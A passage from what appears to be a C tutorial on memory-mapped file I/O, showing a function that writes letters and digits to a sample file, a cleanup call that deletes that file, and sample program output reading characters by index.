system("rm -f MMAP_DATA.txt");
return 0;
}
void write_mmap_sample_data() {
int fd;
char ch;
struct stat textfilestat;
fd = open("MMAP_DATA.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666);
if (fd == -1) {
perror("File open error ");
return;
}
// Write A to Z
ch = 'A';
while (ch <= 'Z') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write 0 to 9
ch = '0';
while (ch <= '9') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write a to z
ch = 'a';
while (ch <= 'z') {
write(fd, &ch, sizeof(ch));
ch++;
}
close(fd);
return;
}
Resultado
Enter -1 to quit or enter a number between 0 and 61: 3
Received char at 3 is D
Enter -1 to quit or enter a number between 0 and 61: 28
Received char at 28 is 2
Enter -1 to quit or enter a number between 0 and 61: 38
Received char at 38 is c
Enter -1 to quit or enter a number between 0 and 61: 59
Received char at 59 is x
Enter -1 to quit or enter a number between 0 and 61: 65
Received invalid index 65
Enter -1 to quit or enter a number between 0 and 61: -99
Received invalid index -99
Enter -1 to quit or enter a number between 0 and 61: -1